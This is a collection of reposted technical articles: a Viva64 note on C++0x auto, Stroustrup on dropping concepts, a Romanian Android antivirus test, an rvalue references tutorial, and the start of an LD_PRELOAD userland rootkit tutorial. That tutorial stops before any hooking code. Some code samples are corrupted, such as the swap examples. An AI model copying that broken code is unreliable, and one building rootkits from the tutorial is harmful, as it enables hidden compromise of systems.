void *AllocArray3D(int x, int y, int z, size_t objectSize) { auto size = x * y * z * objectSize; return (double *)malloc(size); } But it will not eliminate the error at all and will only hide it. The compiler will not generate a warning any more but the function AllocArray3D will still return NULL. The type of the variable size will automatically turn into size_t. But the overflow occurs when calculating the expression "x * y * z". This subexpression has the type int at first and only then it will be extended to size_t when being multiplied by the variable "objectSize". Now this hidden error may be found only with the help of Viva64 analyzer: V104: Implicit type conversion to memsize type in an arithmetic expression. The conclusion - you must be attentive even if you use auto. Let us now briefly look how the new key word is supported in the library VivaCore the static analyzer Viva64 is based on. So, the analyzer must be able to understand that the variable AA has the type int to warn (see V101) the programmer about an extension of the variable AA to the type size_t: void Foo(int X, int Y) { auto AA = X * Y; size_t BB = AA; //V101 } First of all, a new table of lexemes was composed that included the new C++0x key words. This table is stored in the file Lex.cc and has the name tableC0xx. To avoid modifying the obsolete code responsible for processing the lexeme "auto" (tkAUTO), it got the name tkAUTOcpp0x in this table. With the appearance of the new lexeme, the following functions were modified: isTypeToken, optIntegralTypeOrClassSpec. A new class LeafAUTOc0xx appeared. TypeInfoId has a new object class - AutoDecltypeType. To code the type auto, the letter 'x' was chosen and it was reflected in the functions of the classes TypeInfo and Encoding. These are, for example, such functions as IsAutoCpp0x, MakePtree. These corrections let you parse the code with the key word auto that has a new meaning and save the type of objects in the coded form (letter 'x'). But this does not let you know what type is actually assigned to the variable. That is, VivaCore lacks the functionality that would let you make sure that the variable AA in the expression "auto AA = X * Y" will have the type int. This functionality is implemented in the source code of Viva64 and cannot be integrated into the code of VivaCore library. The implementation principle lies in additional work of calculating the type in TranslateAssignInitializer method. After the right side of the expression is calculated, the association between the (Bind) name of the variable and the type is replaced with another. FULL article: http://software.intel.com/en-us/articles/static-code-analysis-and-the-new-language-standard-c0x/

No 'Concepts' in C++0x Overload Journal #92 - August 2009 Author: Bjarne Stroustrup There have been some major decisions made about the next C++ Standard. Bjarne Stroustrup explains what's changed and why. At the July 2009 Frankfurt meeting of the ISO C++ Standards Committee (WG21) [iSO], the 'concepts' mechanism for specifying requirements for template arguments was 'decoupled' (my less-diplomatic phrase was 'yanked out'). That is, 'concepts' will not be in C++0x or its standard library. That - in my opinion - is a major setback for C++, but not a disaster; and some alternatives were even worse. I have worked on 'concepts' for more than seven years and looked at the problems they aim to solve much longer than that. Many have worked on 'concepts' for almost as long. For example, see (listed in chronological order): Bjarne Stroustrup and Gabriel Dos Reis: 'Concepts - Design choices for template argument checking'. October 2003. An early discussion of design criteria for 'concepts' for C++. [stroustrup03a] Bjarne Stroustrup: 'Concept checking - A more abstract complement to type checking'. October 2003. A discussion of models of 'concept' checking. [stroustrup03b] Bjarne Stroustrup and Gabriel Dos Reis: 'A concept design' (Rev. 1). April 2005. An attempt to synthesize a 'concept' design based on (among other sources) N1510, N1522, and N1536. [stroustrup05] Jeremy Siek et al.: Concepts for C++0x. N1758==05-0018. May 2005. [siek05] Gabriel Dos Reis and Bjarne Stroustrup: 'Specifying C++ Concepts'. POPL06. January 2006. [Reis06] Douglas Gregor and Bjarne Stroustrup: Concepts. N2042==06-0012. June 2006. The basis for all further 'concepts' work for C++0x. [Gregor06a] Douglas Gregor et al.: Concepts: Linguistic Support for Generic Programming in C++. OOPSLA'06, October 2006. An academic paper on the C++0x design and its experimental compiler ConceptGCC. [Gregor06b] Pre-Frankfurt working paper (with 'concepts' in the language and standard library): 'Working Draft, Standard for Programming Language C++'. N2914=09-0104. June 2009. [Frankfurt09] B. Stroustrup: Simplifying the use of concepts. N2906=09-0096. June 2009. [stroustrup09] It need not be emphasized that I and others are quite disappointed. The fact that some alternatives are worse is cold comfort and I can offer no quick and easy remedies. Please note that the C++0x improvements to the C++ features that most programmers see and directly use are unaffected. C++0x will still be a more expressive language than C++98, with support for concurrent programming, a better standard library, and many improvements that make it significantly easier to write good (i.e., efficient and maintainable) code. In particular, every example I have ever given of C++0x code (e.g., in 'Evolving a language in and for the real world: C++ 1991-2006' [stroustrup07] at ACM HOPL-III [HOPL]) that does not use the keywords 'concept' or 'requires' is unaffected. See also my C++0x FAQ [FAQ]. Some people even rejoice that C++0x will now be a simpler language than they had expected. 'Concepts' were to have been the central new feature in C++0x for putting the use of templates on a better theoretical basis, for firming-up the specification of the standard library, and a central part of the drive to make generic programming more accessible for mainstream use. For now, people will have to use 'concepts' without direct language support as a design technique. My best scenario for the future is that we get something better than the current 'concept' design into C++ in about five years. Getting that will take some serious focused work by several people (but not 'design by committee'). What happened? 'Concepts', as developed over the last many years and accepted into the C++0x working paper in 2008, involved some technical compromises (which is natural and necessary). The experimental implementation was sufficient to test the 'conceptualized' standard library, but was not production quality. The latter worried some people, but I personally considered it sufficient as a proof of concept. My concern was with the design of 'concepts' and in particular with the usability of 'concepts' in the hands of 'average programmers'. That concern was shared by several members. The stated aim of 'concepts' was to make generic programming more accessible to most programmers [stroustrup03a], but that aim seemed to me to have been seriously compromised: Rather than making generic programming more accessible, 'concepts' were becoming yet another tool in the hands of experts (only). Over the last half year or so, I had been examining C++0x from a user's point of view, and I worried that even use of libraries implemented using 'concepts' would put new burdens on programmers. I felt that the design of 'concepts' and its use in the standard library did not adequately reflect our experience with 'concepts' over the last few years. Then, a few months ago, Alisdair Meredith (an insightful committee member from the UK) and Howard Hinnant (the head of the standard library working group) asked some good questions relating to who should directly use which parts of the 'concepts' facilities and how. That led to a discussion of usability involving many people with a variety of concerns and points of view; and I eventually - after much confused discussion - published my conclusions [stroustrup09]. To summarize and somewhat oversimplify, I stated that: 'Concepts' as currently defined are too hard to use and will lead to disuse of 'concepts', possibly disuse of templates, and possibly to lack of adoption of C++0x. A small set of simplifications [stroustrup09] can render 'concepts' good-enough-to-ship on the current schedule for C++0x or with only a minor slip. That's pretty strong stuff. Please remember that standards committee discussions are typically quite polite, and since we are aiming for consensus, we tend to avoid direct confrontation. Unfortunately, the resulting further (internal) discussion was massive (hundreds of more and less detailed messages) and confused. No agreement emerged on what problems (if any) needed to be addressed or how. This led me to order the alternatives for a presentation in Frankfurt: 'fix and ship' Remaining work: remove explicit 'concepts', add explicit refinement, add 'concept'/type matching, handle 'concept' map scope problems Risks: no implementation, complexity of description Schedule: no change or one meeting 'Yank and ship' Remaining work: yank (core and standard library) Risks: old template problems remain, disappointment in 'progressive' community ('seven year's work down the drain') Schedule: five years to 'concepts' (complete redesign needed) or never 'Status quo' Remaining work: details Risks: unacceptable programming model, complexity of description (alternative view: none) Schedule: no change I and others preferred the first alternative ('fix and ship') and considered it feasible. However, a large majority of the committee disagreed and chose the second alternative ('yank and ship', renaming it 'decoupling'). In my opinion, both are better than the third alternative ('status quo'). My interpretation of that vote is that given the disagreement among proponents of 'concepts', the whole idea seemed controversial to some, some were already worried about the ambitious schedule for C++0x (and, unfairly IMO, blamed 'concepts'), and some were never enthusiastic about 'concepts'. Given that, 'fixing concepts' ceased to be a realistic option. Essentially, all expressed support for 'concepts', just 'later' and 'eventually'. I warned that a long delay was inevitable if we removed 'concepts' now because in the absence of schedule pressures, essentially all design decisions will be re-evaluated. Surprisingly (maybe), there were no technical presentations and discussions about 'concepts' in Frankfurt. The discussion focused on timing and my impression is that the vote was decided primarily on timing concerns. Please don't condemn the committee for being cautious. This was not a 'Bjarne vs. the committee fight', but a discussion trying to balance a multitude of serious concerns. I and others are disappointed that we didn't take the opportunity of 'fix and ship', but C++ is not an experimental academic language. Unless members are convinced that the risks for doing harm to production code are very low, they must oppose. Collectively, the committee is responsible for billions of lines of code. For example, lack of adoption of C++0x or long-term continued use of unconstrained templates in the presence of 'concepts' would lead to a split of the C++ community into separate sub-communities. Thus, a poor 'concept' design could be worse than no 'concepts'. Given the choice between the two, I too voted for removal. I prefer a setback to a likely disaster. Technical issues The unresolved issue about 'concepts' focused on the distinction between explicit and implicit 'concept' maps (see [stroustrup09]): Should a type that meets the requirements of a 'concept' automatically be accepted where the 'concept' is required (e.g. should a type X that provides +, -, *, and / with suitable parameters automatically match a 'concept' C that requires the usual arithmetic operations with suitable parameters) or should an additional explicit statement (a 'concept' map from X to C) that a match is intentional be required? (My answer: Use automatic match in almost all cases). Should there be a choice between automatic and explicit 'concepts' and should a designer of a 'concept' be able to force every user to follow his choice? (My answer: All 'concepts' should be automatic). Should a type X that provides a member operation X::begin() be considered a match for a 'concept' C<T> that requires a function begin(T) or should a user supply a 'concept' map from T to C? An example is std::vector and std::Range. (My answer: It should match). The answers 'status quo before Frankfurt' all differ from my suggestions. Obviously, I have had to simplify my explanation here and omit most details and most rationale. I cannot reenact the whole technical discussion here, but this is my conclusion: In the 'status quo' design, 'concept' maps are used for two things: To map types to 'concepts' by adding/mapping attributes To assert that a type matches a 'concept'. Somehow, the latter came to be seen an essential function by some people, rather than an unfortunate rare necessity. When two 'concepts' differ semantically, what is needed is not an assertion that a type meets one and not the other 'concept' (this is, at best, a workaround - an indirect and elaborate attack on the fundamental problem), but an assertion that a type has the semantics of the one and not the other 'concept' (fulfills the axiom(s) of the one and not the other 'concept'). For example, the STL input iterator and forward iterator have a key semantic difference: you can traverse a sequence defined by forward iterators twice, but not a sequence defined by input iterators; e.g., applying a multi-pass algorithm on an input stream is not a good idea. The solution in 'status quo' is to force every user to say what types match a forward iterator and what types match an input iterator. My suggested solution adds up to: If (and only if) you want to use semantics that are not common to two 'concepts' and the compiler cannot deduce which 'concept' is a better match for your type, you have to say which semantics your type supplies; e.g., 'my type supports multi-pass semantics'. One might say, 'When all you have is a 'concept' map, everything looks like needing a type/'concept' assertion.' At the Frankfurt meeting, I summarized: Why do we want 'concepts'? To make requirement on types used as template arguments explicit Precise documentation Better error messages Overloading Different people have different views and priorities. However, at this high level, there can be confusion - but little or no controversy. Every half-way reasonable 'concept' design offers that. What concerns do people have? Programmability Complexity of formal specification Compile time Run time My personal concerns focus on 'programmability' (ease of use, generality, teachability, scalability) and the complexity of the formal specification (40 pages of standards text) is secondary. Others worry about compile time and run time. However, I think the experimental implementation (ConceptGCC [Gregor06b]) shows that run time for constrained templates (using 'concepts') can be made as good as or better than current unconstrained templates. ConceptGCC is indeed very slow, but I don't consider that fundamental. When it comes to validating an idea, we hit the traditional dilemma. With only minor oversimplification, the horns of the dilemma are: 'Don't standardize without commercial implementation' 'Major implementers do not implement without a standard' Somehow, a detailed design and an experimental implementation have to become the basis for a compromise. My principles for 'concepts' are: Duck typing The key to the success of templates for GP (compared to OO with interfaces and more). Substitutability Never call a function with a stronger precondition than is 'guaranteed'. 'Accidental match' is a minor problem Not in the top 100 problems. My 'minimal fixes' to 'concepts' as present in the pre-Frankfurt working paper were: 'Concepts' are implicit/auto To make duck typing the rule. Explicit refinement To handle substitutability problems. General scoping of 'concept' maps To minimize 'implementation leakage'. Simple type/'concept' matching To make vector a range without redundant 'concept' map For details, see [stroustrup09]. No C++0x, long live C++1x Even after cutting 'concepts', the next C++ standard may be delayed. Sadly, there will be no C++0x (unless you count the minor corrections in C++03). We must wait for C++1x, and hope that 'x' will be a low digit. There is hope because C++1x is now feature complete (excepting the possibility of some national standards bodies effectively insisting on some feature present in the formal proposal for the standard). 'All' that is left is the massive work of resolving outstanding technical issues and comments. A list of features and some discussion can be found on my C++0x FAQ [FAQ]. Here is a subset: atomic operations auto (type deduction from initializer) C99 features enum class (scoped and strongly typed enums) constant expressions (generalized and guaranteed; constexpr) defaulted and deleted functions (control of defaults) delegating constructors in-class member initializers inherited constructors initializer lists (uniform and general initialization) lambdas memory model move semantics; see rvalue references null pointer (nullptr) range for statement raw string literals template alias thread-local storage (thread_local) unicode characters uniform initialization syntax and semantics user-defined literals variadic templates and libraries: improvements to algorithms containers duration and time_point function and bind forward_list a singly-liked list future and promise garbage collection ABI hash_tables; see unordered_map metaprogramming and type traits random number generators regex a regular expression library scoped allocators smart pointers; see shared_ptr, weak_ptr, and unique_ptr threads atomic operations tuple Even without 'concepts', C++1x will be a massive improvement on C++98, especially when you consider that these features (and more) are designed to interoperate for maximum expressiveness and flexibility. I hope we will see 'concepts' in a revision of C++ in maybe five years. Maybe we could call that C++1y or even 'C++y!' References [FAQ] Bjarne Stroustrup, 'C++0x - the next ISO C++ standard' (FAQ), available from: C++11 FAQ [Frankfurt09] 'Working Draft, Standard for Programming Language C++', a pre-Frankfurt working paper, June 2009, available from: http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2009/n2914.pdf [Gregor06a] Douglas Gregor and Bjarne Stroustrup, June 2006, 'Concepts', availabe from: http://www.open-std.org/JTC1/SC22/WG21/docs/papers/2006/n2042.pdf [Gregor06b] Douglas Gregor, Jaakko Jarvi, Jeremy Siek, Bjarne Stroustrup, Gabriel Dos Reis and Andrew Lumsdaine, October 2006, 'Concepts: Linguistic support for generic programming in C++', available from: http://www.research.att.com/~bs/oopsla06.pdf [HOPL] Proceedings of the History of Programming Languages conference 2007, available from: http://portal.acm.org/toc.cfm?id=1238844 [iSO] The C++ Standards Committee - ISO/IEC JTC1/SC22/WG21 - The C++ Standards Committee [Reis06] Gabriel Dos Reis and Bjarne Stroustrup, January 2006, 'Specifying C++ concepts', available from: http://www.research.att.com/~bs/popl06.pdf [siek05] Jeremy Siek, Douglas Gregor, Ronald Garcia, Jeremiah Willcock, Jaakko Jarvi and Andrew Lumsdaine, May 2005, 'Concepts for C++0x', available from: http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2005/n1758.pdf [stroustrup03a] Bjarne Stroustrup and Gabriel Dos Reis, October 2003, 'Concepts - Design choices for template argument checking', available from: http://www.research.att.com/~bs/N1522-concept-criteria.pdf [stroustrup03b] Bjarne Stroustrup, October 2003, 'Concept checking - A more abstract complement to type checking', available from: http://www.research.att.com/~bs/n1510-concept-checking.pdf [stroustrup05] Bjarne Stroustrup and Gabriel Dos Reis, April 2005, 'A concept design (Rev. 1)' available from:http://www.research.att.com/~bs/n1782-concepts-1.pdf [stroustrup07] Bjarne Stroustrup, May 2007, 'Evolving a language in and for the real world: C++ 1991-2006', available from: http://www.research.att.com/~bs/hopl-almost-final.pdf [stroustrup09] Bjarne Stroutstrup 'Simplifying the use of concepts'. Available from: http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2009/n2906.pdf -------------------------------------------------------------------- Sursa: ACCU :: No 'Concepts' in C++0x

14 suite de securitate pentru Android testate pe 181 de viru?i de Faravirusi.com Andrei Av?d?nei - 01 Noiembrie, 2011 la 3:00 O afisare FaraVirusi.com a lansat ieri unul dintre cele mai mari teste de detec?ie pentru platforma Android, realizat de un site independent. In acest moment exist? circa 600 de viru?i pentru platforma Android. Num?rul utilizatorilor de smartphone cu acest sistem de operare este in continu? cre?tere, iar interesul este identic ?i din partea creatorilor de malware. Pentru acest audit s-a folosit un set de 181 de aplica?ii infectate (.apk) din perioada iulie-octombrie a.c. ?i au fost testate principalele 14 produse de securitate pentru Android. Iat? rezultatele detec?iei: Kaspersky* – 175 detectati (96.68%) Dr.Web – 171 detectati (94.47%) IKARUS – 170 detectati (93.92%) F-Secure* – 164 detectati (90.60%) Zoner – 163 detectati (90.05%) VIPRE** – 159 detectati (87.84%) ESET** – 151 detectati (83.42%) BitDefender* – 124 detectati (68.50%) BullGuard* – 119 detectati (65.74%) NetQin – 116 detectati (64.08%) Webroot – 115 detectati (63.53%) Trend Micro – 100 detectati (55.24%) McAfee* – 53 detectati (29.28%) BlackBelt* – 41 detectati (22.65%) In ceea ce prive?te o solu?ie de securitate pentru telefon, detec?ia nu este singurul aspect de luat in seam?. Impactul asupra duratei de via?? a bateriei este de asemenea foarte important, iar aici NetQin, BitDefender ?i Zoner Antivirus exceleaz?. Produsele enumerate nu vor consuma mai mult de 1-2% din baterie. Pe de alt? parte Dr.Web, VIPRE ?i Lookout, al?turi de Webroot pot avea un impact mai mare asupra bateriei. In al doilea rand, func?iile oferite intr-o versiune gratuita sunt importante, iar cea de recuperare a unui telefon pierdut este la fel de important? c? detectia antivirus. Aici NetQin ?i BitDefender abund? in optiuni si facilitati oferite fara niciun cost utilizatorilor, pornind de la antivirus, anti-lost, protectie web si chiar protectie impotriva interceptarilor telefonice, backup si optimizarea sistemului. In plus, pretul unei solutii de securitate pentru Android nu este motivat pana in acest moment, avand in vedere ca cele gratuite se descurca foarte bine ?i ofera multe functii aditionale detectiei antivirus. Totusi, dac? doriti o asemenea investitie recomandarea este Kaspersky, fara indoiala. Pentru cei care nu considera utila investitia, recomandarile noastre in materie de protectie gratuita pentru telefonul tau Android sunt: Dr.Web ?i NetQin. Una din recomandari merge spre Dr.Web, gratie detectiei foarte bune. In schimb nu ofera nimic in plus in versiunea gratuita, de aceea e discutabil daca sa-l instalati sau nu. A doua recomandare este NetQin pentru o detectie rezonabila si functii numeroase oferite. De asemenea, produsul ofera motor dual: clasic ?i cloud. IKARUS este un produs nou, care nu ofera decat protectie antivirus si are anumite probleme de stabilitate. Zoner este putin cunoscut pe piata si este creat de un fost hacker. Note: Produsele marcate cu * sunt contra cost, iar cele cu ** sunt inca in testare Beta. 1. Norton Mobile Security LITE nu este disponibil in Romania. 2. BitDefender, ESET ?i VIPRE sunt in stadiul de testare Beta, iar BitDefender va deveni produs cu plata din noiembrie. 3. Lookout si G Data nu ofera scanare la cerere pentru continutul cardului sau memoria telefonului. Sursa: http://www.worldit.info/noutati/14-suite-de-securitate-pentru-android-testate-pe-181-de-virusi-de-faravirusi-com/

C++ A Brief Introduction to Rvalue References by Howard E. Hinnant, Bjarne Stroustrup, and Bronek Kozicki March 10, 2008 Summary Rvalue references is a small technical extension to the C++ language. Rvalue references allow programmers to avoid logically unnecessary copying and to provide perfect forwarding functions. They are primarily meant to aid in the design of higher performance and more robust libraries. Introduction This document gives a quick tour of the new C++ language feature rvalue reference. It is a brief tutorial, rather than a complete reference. For details, see these references. The rvalue reference An rvalue reference is a compound type very similar to C++'s traditional reference. To better distinguish these two types, we refer to a traditional C++ reference as an lvalue reference. When the term reference is used, it refers to both kinds of reference: lvalue reference and rvalue reference. An lvalue reference is formed by placing an & after some type. A a; A& a_ref1 = a; // an lvalue reference An rvalue reference is formed by placing an && after some type. A a; A&& a_ref2 = a; // an rvalue reference An rvalue reference behaves just like an lvalue reference except that it can bind to a temporary (an rvalue), whereas you can not bind a (non const) lvalue reference to an rvalue. A& a_ref3 = A(); // Error! A&& a_ref4 = A(); // Ok Question: Why on Earth would we want to do this?! It turns out that the combination of rvalue references and lvalue references is just what is needed to easily code move semantics. The rvalue reference can also be used to achieve perfect forwarding, a heretofore unsolved problem in C++. From a casual programmer's perspective, what we get from rvalue references is more general and better performing libraries. Move Semantics Eliminating spurious copies Copying can be expensive. For example, for std::vectors, v2=v1 typically involves a function call, a memory allocation, and a loop. This is of course acceptable where we actually need two copies of a vector, but in many cases, we don't: We often copy a vector from one place to another, just to proceed to overwrite the old copy. Consider: template <class T> swap(T& a, T& { T tmp(a); // now we have two copies of a a = b; // now we have two copies of b b = tmp; // now we have two copies of tmp (aka a) } But, we didn't want to have any copies of a or b, we just wanted to swap them. Let's try again: template <class T> swap(T& a, T& { T tmp(std::move(a)); a = std::move(; b = std::move(tmp); } This move() gives its target the value of its argument, but is not obliged to preserve the value of its source. So, for a vector, move() could reasonably be expected to leave its argument as a zero-capacity vector to avoid having to copy all the elements. In other words, move is a potentially destructive read. In this particular case, we could have optimized swap by a specialization. However, we can't specialize every function that copies a large object just before it deletes or overwrites it. That would be unmanageable. The first task of rvalue references is to allow us to implement move() without verbosity, or runtime overhead. move The move function really does very little work. All move does is accept either an lvalue or rvalue argument, and return it as an rvalue without triggering a copy construction: template <class T> typename remove_reference<T>::type&& move(T&& a) { return a; } It is now up to client code to overload key functions on whether their argument is an lvalue or rvalue (e.g. copy constructor and assignment operator). When the argument is an lvalue, the argument must be copied from. When it is an rvalue, it can safely be moved from. Overloading on lvalue / rvalue Consider a simple handle class that owns a resource and also provides copy semantics (copy constructor and assignment). For example a clone_ptr might own a pointer, and call clone() on it for copying purposes: template <class T> class clone_ptr { private: T* ptr; public: // construction explicit clone_ptr(T* p = 0) : ptr(p) {} // destruction ~clone_ptr() {delete ptr;} // copy semantics clone_ptr(const clone_ptr& p) : ptr(p.ptr ? p.ptr->clone() : 0) {} clone_ptr& operator=(const clone_ptr& p) { if (this != &p) { delete ptr; ptr = p.ptr ? p.ptr->clone() : 0; } return *this; } // move semantics clone_ptr(clone_ptr&& p) : ptr(p.ptr) {p.ptr = 0;} clone_ptr& operator=(clone_ptr&& p) { std::swap(ptr, p.ptr); return *this; } // Other operations T& operator*() const {return *ptr;} // ... }; Except for the highlighted move semantics section above, clone_ptr is code that you might find in today's books on C++. Clients of clone_ptr might use it like so: clone_ptr p1(new derived); // ... clone_ptr p2 = p1; // p2 and p1 each own their own pointer Note that copy constructing or assigning a clone_ptr is a relatively expensive operation. However when the source of the copy is known to be an rvalue, one can avoid the potentially expensive clone() operation by pilfering the rvalue's pointer (no one will notice!). The move constructor above does exactly that, leaving the rvalue in a default constructed state. The move assignment operator simply swaps state with the rvalue. Now when code tries to copy an rvalue clone_ptr, or if that code explicitly gives permission to consider the source of the copy an rvalue (using std::move), the operation will execute much faster. clone_ptr p1(new derived); // ... clone_ptr p2 = std::move(p1); // p2 now owns the pointer instead of p1 For classes made up of other classes (via either containment or inheritance), the move constructor and move assignment can easily be coded using the std::move function: class Derived : public Base { std::vector<int> vec; std::string name; // ... public: // ... // move semantics Derived(Derived&& x) // rvalues bind here : Base(std::move(x)), vec(std::move(x.vec)), name(std::move(x.name)) { } Derived& operator=(Derived&& x) // rvalues bind here { Base::operator=(std::move(x)); vec = std::move(x.vec); name = std::move(x.name); return *this; } // ... }; Each subobject will now be treated as an rvalue when binding to the subobject's constructors and assignment operators. std::vector and std::string have move operations coded (just like our eariler clone_ptr example) which will completely avoid the tremendously more expensive copy operations. Note above that the argument x is treated as an lvalue internal to the move functions, even though it is declared as an rvalue reference parameter. That's why it is necessary to say move(x) instead of just x when passing down to the base class. This is a key safety feature of move semantics designed to prevent accidently moving twice from some named variable. All moves occur only from rvalues, or with an explicit cast to rvalue such as using std::move. If you have a name for the variable, it is an lvalue. Question: What about types that don't own resources? (E.g. std::complex?) No work needs to be done in that case. The copy constructor is already optimal when copying from rvalues. Movable but Non-Copyable Types Some types are not amenable to copy semantics but can still be made movable. For example: fstream unique_ptr (non-shared, non-copyable ownership) A type representing a thread of execution By making such types movable (though still non-copyable) their utility is tremendously increased. Movable but non-copyable types can be returned by value from factory functions: ifstream find_and_open_data_file(/* ... */); ... ifstream data_file = find_and_open_data_file(/* ... */); // No copies! In the above example, the underlying file handle is passed from object to object, as long as the source ifstream is an rvalue. At all times, there is still only one underlying file handle, and only one ifstream owns it at a time. Movable but non-copyable types can also safely be put into standard containers. If the container needs to "copy" an element internally (e.g. vector reallocation) it will move the element instead of copying it. vector<unique_ptr<base>> v1, v2; v1.push_back(unique_ptr(new derived())); // ok, moving, not copying ... v2 = v1; // Compile time error. This is not a copyable type. v2 = move(v1); // Move ok. Ownership of pointers transferred to v2. Many standard algorithms benefit from moving elements of the sequence as opposed to copying them. This not only provides better performance (like the improved std::swap implementation described above), but also allows these algorithms to operate on movable but non-copyable types. For example the following code sorts a vector<unique_ptr<T>> based on comparing the pointed-to types: struct indirect_less { template <class T> bool operator()(const T& x, const T& y) {return *x < *y;} }; ... std::vector<std::unique_ptr<A>> v; ... std::sort(v.begin(), v.end(), indirect_less()); As sort moves the unique_ptr's around, it will use swap (which no longer requires Copyability) or move construction / move assignment. Thus during the entire algorithm, the invariant that each item is owned and referenced by one and only one smart pointer is maintained. If the algorithm were to attempt a copy (say, by programming mistake) a compile time error would result. Perfect Forwarding Consider writing a generic factory function that returns a std::shared_ptr for a newly constructed generic type. Factory functions such as this are valuable for encapsulating and localizing the allocation of resources. Obviously, the factory function must accept exactly the same sets of arguments as the constructors of the type of objects constructed. Today this might be coded as: template <class T> std::shared_ptr<T> factory() // no argument version { return std::shared_ptr<T>(new T); } template <class T, class A1> std::shared_ptr<T> factory(const A1& a1) // one argument version { return std::shared_ptr<T>(new T(a1)); } // all the other versions In the interest of brevity, we will focus on just the one-parameter version. For example: std::shared_ptr<A> p = factory<A>(5); Question: What if T's constructor takes a parameter by non-const reference? In that case, we get a compile-time error as the const-qualifed argument of the factory function will not bind to the non-const parameter of T's constructor. To solve that problem, we could use non-const parameters in our factory functions: template <class T, class A1> std::shared_ptr<T> factory(A1& a1) { return std::shared_ptr<T>(new T(a1)); } This is much better. If a const-qualified type is passed to the factory, the const will be deduced into the template parameter (A1 for example) and then properly forwarded to T's constructor. Similarly, if a non-const argument is given to factory, it will be correctly forwarded to T's constructor as a non-const. Indeed, this is precisely how forwarding applications are coded today (e.g. std::bind). However, consider: std::shared_ptr<A> p = factory<A>(5); // error A* q = new A(5); // ok This example worked with our first version of factory, but now it's broken: The "5" causes the factory template argument to be deduced as int& and subsequently will not bind to the rvalue "5". Neither solution so far is right. Each breaks reasonable and common code. Question: What about overloading on every combination of AI& and const AI&? This would allow us to handle all examples, but at a cost of an exponential explosion: For our two-parameter case, this would require 4 overloads. For a three-parameter factory we would need 8 additional overloads. For a four-parameter factory we would need 16, and so on. This is not a scalable solution. Rvalue references offer a simple, scalable solution to this problem: template <class T, class A1> std::shared_ptr<T> factory(A1&& a1) { return std::shared_ptr<T>(new T(std::forward<A1>(a1))); } Now rvalue arguments can bind to the factory parameters. If the argument is const, that fact gets deduced into the factory template parameter type. Question: What is that forward function in our solution? Like move, forward is a simple standard library function used to express our intent directly and explicitly, rather than through potentially cryptic uses of references. We want to forward the argument a1, so we simply say so. Here, forward preserves the lvalue/rvalue-ness of the argument that was passed to factory. If an rvalue is passed to factory, then an rvalue will be passed to T's constructor with the help of the forward function. Similarly, if an lvalue is passed to factory, it is forwarded to T's constructor as an lvalue. The definition of forward looks like this: template <class T> struct identity { typedef T type; }; template <class T> T&& forward(typename identity<T>::type&& a) { return a; } References As one of the main goals of this paper is brevity, there are details missing from the above description. But the above content represents 95% of the knowledge with a fraction of the reading. This proposal was initially put forth in the following paper. The present article is substantially a reprint of the original proposal: Hinnant, Howard, E., Bjarne Stroustrap, and Bronek Kozicki. A Brief Introduction to Rvalue References Rvalue Reference Quick Look For further details on the motivation of move semantics, such as performance tests, details of movable but non-copyable types, and many other details please see N1377. For a very thorough treatment of the forwarding problem, please see N1385. For further applications of the rvalue reference (besides move semantics and perfect forwarding), please see N1690. For proposed wording for the language changes required to standardize the rvalue reference, please see N1952. For a summary of the impact the rvalue reference will have on the standard library, please see N1771. For proposed wording for the library changes required to take advantage of the rvalue reference, please see: N1856 N1857 N1858 N1859 N1860 N1861 N1862 For a proposal to extend the rvalue reference to the implicit object parameter (this), please see N1821. Share your opinion Have an opinion about Rvalue references? Discuss this article in the Articles Forum topic, A Brief Introduction to Rvalue References. About the Authors Howard Hinnant is the lead author of the rvalue reference proposals for the next C++ standard. He implemented and maintained the standard C++ library for Metrowerks/Motorola/Freescale from the late 90's to 2005. He is currently a senior software engineer at Apple and serving on the C++ standards committee as Library Working Group chairman. Bjarne Stroustrup is the designer and original implementor of the C++ Programming Language. He is currently the College of Engineering Endowed Chair in Computer Science at Texas A&M University. He formerly worked as the head of AT&T Lab's Large-scale Programming Research department, from its creation until late 2002. Bronek Kozicki is an experienced C++ programmer. He is a member of BSI C++ panel and author of "extending move semantics to *this" proposal (N1821, evolved to N2439). Bronek currently works for a leading investment bank in London. Sursa: A Brief Introduction to Rvalue References

The magic of LD_PRELOAD for Userland Rootkits Posted on October 31, 2011 by FlUxIuS How much can you trust binaries you are running, even if you had analyzed them before compilation? With less privileges than kernel rootkits (explained in “Ring 0f Fire”), userland rootkits still represent a big threat for users. To see it, we will talk about an interesting technique to hook functions that are commonly used by programs on shared libraries. First and foremost, we will introduce quickly the use of shared libraries to explain in the second time, the need of LD_PRELOAD’s trick. After that, we will see how to apply it for rootkit, its limits and the case of its detection, that is not surprising with some anti-rootkits. Prerequisites: Basics in Linux and ELF (read the analysis part of my last article), a Linux, a survival skill in C programming language, your evil mind switched on (or just be cool!), another default song: Ez3kiel – Via continium. Here is the contents: Shared libraries, LD_PRELOAD in the wild, Make and use your own library, dlsym: Yo Hook Hook And A Bottle Of Rum!, Limitations, Userland rootkit, Jynx-Kit, Detection Shared libraries As we should know, when a program starts, it loads shared libraries and links it to the process. The linking process is done by "ld-linux-x86-64.so.X" (or "ld-linux.so.X" for 32-bits) (Remember "The Art Of ELF"?), as follows: fluxiux@handgrep:~$ readelf -l /bin/ls [...] INTERP 0x0000000000000248 0x00000000004purposes00248 0x0000000000400248 0x000000000000001c 0x000000000000001c R 1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] [...] Opposed to the static compilation, that could be heavy in your hard disk, shared libraries for dynamic linked binaries are used to factorize the program, thanks to the linking that makes function calls to point to a corresponding function in the shared library. You can list shared libraries needed by the program with the command “ldd”: fluxiux@handgrep:~$ ldd /bin/ls linux-vdso.so.1 => (0x00007fff0bb9a000) libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f7842edc000) librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007f7842cd4000) libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007f7842acb000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7842737000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f7842533000) /lib64/ld-linux-x86-64.so.2 (0x00007f7843121000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f7842314000) libattr.so.1 => /lib/x86_64-linux-gnu/libattr.so.1 (0x00007f784210f000) Let’s try with a little code named “toto”: #include <stdio.h> main() { printf("huhu la charrue"); } Compile it now in dynamic and in static: fluxiux@handgrep:~$ gcc toto.c -o toto-dyn fluxiux@handgrep:~$ gcc 